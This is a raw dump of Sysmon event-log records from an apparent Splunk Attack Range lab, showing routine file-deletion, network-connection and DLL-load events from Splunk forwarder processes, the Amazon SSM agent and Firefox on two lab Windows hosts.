Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=760AF790666E16D0ED71638939DB04E1,SHA256=94F0431C9D3887A29D45363D5F2746416DF48F7A6EB9987CDB9378528C7FAA0E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017025Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:06.744{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4DC71D51D5E4E66B54B5AD634AD02D14,SHA256=E16A872B6D4DFB413C524D84D4DF897AAF10D84491F61989A97EF0CAB4C2C9E3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:04.334{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59639-false10.0.1.12-8000- 23542300x800000000000000017027Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:07.759{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9A05703AF852D661192F93A0B57D02D6,SHA256=26DD5A361046AF07CF595E54B37F8989899346082402221F026967CF2C27B20D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017026Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:05.410{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50331-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017028Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:08.791{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD19CC2950CE977605F5DD4F74FC93A8,SHA256=76380584C45EF9D628FF85EF74EBE3EDAB7011065EA71A0156DCCF875BB9D274,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:08.068{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=86398BF3EBF9ECDFF277CAD51698A410,SHA256=EC6DD63A13FC3C7569191B40DD79349A1CFF4E9DFF201C1FD367A10309D0B53E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017029Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:09.837{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9EB1B6E53D2CA48614812544D67769D1,SHA256=3F22E3797ABC0C322AF4E32CB3D7A19D02D254E8DED125D14E398CD13038EBEE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:09.100{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=348BEC769B80104D22889E8643A4CEE9,SHA256=38C32DA12B51F4B1A0B39A8B01400B8F15AA716AC3CC932F26BB6D35B0FB4108,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017030Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:10.853{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AB3D621C0543476BA21689D408ED960C,SHA256=BD20324200AA108D2CDA9F76346CBE8A18167772EB7C77EE07B7872990D78C6B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:10.119{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C5BBB8BF3BEC45500A62AEC08A8B12A2,SHA256=2C6520FFD6657A010DDAA9EEB34D2517C8C78E5C0F771A177B1B72059120342A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017031Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:11.888{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AB378361134800B29BBB94B60E387363,SHA256=42D1C9053C0FB7812381A0B65996537CC272CEE494088A1F9E5C9642E1577A96,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:09.447{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59641-false10.0.1.12-8000- 23542300x800000000000000052976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:11.134{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD1D7450E928EA33148945FA59C621CA,SHA256=E60DBC9B14D7792D747D394F8723A0AE8F6CE3283DEDB243A4E8A30D518B38CB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017033Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:12.951{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=144C2DDE9024DFBCF2DA59F0B63B8BDC,SHA256=05E6B4A3CD577F03B47341AB4C08D170B16F6F7B1386FDB28B21011CA812E2DC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:12.537{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-056MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:12.180{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5DF358D80AD06883743A174085312827,SHA256=11572F79AE87EDD8B5FD04B6A381713D405A447EF72A53D7A985EC2C38AF42BB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017032Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:11.424{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50332-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000052981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:13.536{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-057MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:13.400{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FB8F3EA71BA601147CA1EAD0D6312F1D,SHA256=1D210686F0A0093F1F465E2A09CF596FAECB95E9A5CDF9F8CC125369E66B3584,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:14.435{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8B4EF6B028929614A1BCC231EE85BF8E,SHA256=8DD8298734B86EA0A5D90C9D9844084EC5E395951908F954CCCF230B4F8FFCB0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017034Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:13.998{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A7522AA6A0C04E7C79E6CDE98B06A0AA,SHA256=C7C4BF8BE12960689176457DA7843C75263DE30A6531AD41748B0285097363CD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:14.135{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=423AE392DFB623F08EB87B8FF983B064,SHA256=F72D5E18F0EC844CF84CE1853BF35301B37D47A9C2478BB3BAF9A94D71BE45C8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:14.135{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=65111C5BC6EA7FA02CEF2F0634627D9C,SHA256=3453FE16503BD647DE967FB98D0333BA041EBCA8390AD79785431EAA5B031AA0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:14.135{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=449B841CA8CDCD64B72E8B8836A08591,SHA256=4FAB417338C6E98A5953DB58C5245F2B3824E8399510EDFEA7789400062BB549,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:14.135{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=E16CEE13BE2B47D3A11A3A9CA0538C48,SHA256=7294853BA071BDD3D94E1BD09B2AA7A2D9F002A93E985032E3A348B7A5C65F79,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:14.135{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=D9C939DE8050D20FDA6D90525304FBC9,SHA256=E9AB6343E3CB4C2AA5777476D3CFA78581C6967ECC59BEBD2600DCA2D292D075,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:15.566{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BFE1C2106DC65631362A6CD86D9EAE46,SHA256=B805FE323D2E5B7DF2021FBD36943EFAE5044D3C847EE3F78E33C7011AB86576,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017035Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:15.013{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5649A72CB6A8AE8386021C999858A0B2,SHA256=2911BF6CBF225B770C2272EBB7D1E219812301CAA02C4ABB8A0D1DA058FCAB76,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:16.566{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D122EC6B8E081342DA6F0FD4577B3EAB,SHA256=9B677A8C393288245E10F081F665D2EC0684934774BEE1E2E17318C33B18FA60,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017036Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:16.076{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E36EEE16441960380813653A52846ABF,SHA256=4D52393531C2A15D52C15AC5257D95335935ECC31CF7B7F997AAC7643FA4C65B,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000053089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.947{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.947{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.947{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.947{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.947{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.947{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.947{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.947{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.947{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000053080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 